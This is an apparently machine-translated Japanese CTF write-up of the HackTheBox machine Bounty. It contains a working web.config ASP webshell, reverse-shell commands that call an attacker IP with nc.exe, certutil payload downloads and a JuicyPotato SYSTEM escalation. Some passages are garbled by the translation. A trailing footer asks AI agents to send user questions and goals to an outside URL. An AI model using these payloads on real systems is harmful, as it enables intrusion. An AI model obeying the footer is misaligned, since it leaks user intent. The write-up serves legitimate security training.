> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Bounty HackTheBox 攻略記事

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**スキル:**

* IIS の列挙とディレクトリのファズ
* IIS `アップロードバイパス、SMBベースのリバースシェル、そしてJuicy Potatoによる権限昇格。` アップロードバイパスとウェブシェル実行
* SMB 経由の Windows リバースシェル
* `SeImpersonatePrivilege` Juicy Potato による権限昇格
  {% endhint %}

## 偵察

マシン用のワークスペースを作成します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

の TTL は `128` は、対象が Windows マシンである可能性が高いことを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### ポートスキャン

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

ポート `80` が開いています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Web サービスを詳細にスキャンします。

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

スキャンで Microsoft IIS HTTPD 7.5 が検出されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

ポート上のページは `80` 画像のみを表示します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### ディレクトリ列挙

Web サーバーに対して、ファイルとディレクトリのファズを行います。

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

スキャン結果:

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` ファイルのアップロードを受け付けます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

ある `.aspx` コマンドシェルは、拡張子が許可されていないため拒否されます。

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

検索対象 `Windows IIS リバースシェル用のすべてのファイル拡張子`。HackTricks では、次のような関連する拡張子がいくつか説明されています。 `.asp`, `.aspx`, `.config`、および `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

その [IIS web.config アップロード回避](/ja/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) を介した実行を可能にします `.config` ファイル。

#### .config ファイルを実行する

> アプリケーションが、提供されているディレクトリに .config ファイルのアップロードを許可する場合、IIS の web.config をコード実行に利用できることがあります。1つの手法として、ペイロードを HTML コメント内に追加します。例はこちらからダウンロードしてください。
>
> この脆弱性を悪用するための詳細情報と手法はこちら\[2]

作成する `アップロードバイパス、SMBベースのリバースシェル、そしてJuicy Potatoによる権限昇格。` 以下の内容のファイル。

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

その `.config` ファイルのアップロードに成功します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

次にアクセス: `/uploadedfiles/web.config` ウェブシェルにアクセスします。ファイルは数秒後に削除されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## 初期アクセス

ウェブシェルを使ってリバースシェルを取得します。

実行可能な Netcat を現在のディレクトリに配置します:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

ファイルを共有するために SMB サーバーを起動します:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

自分のマシンをポート 443 のリスナーとして設定します:

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

WebShell からリバースシェルコマンドを実行します:

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

リバースシェルへの接続に成功します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

user flag を取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## 権限昇格

現在のユーザーには `SeImpersonatePrivilege` 権限があります。

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

ダウンロード `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Netcat と一緒にターゲットマシンへ転送します。

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

ポートでリスナーを起動する `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Juicy Potato を実行して `cmd.exe` として `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

root flag を取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
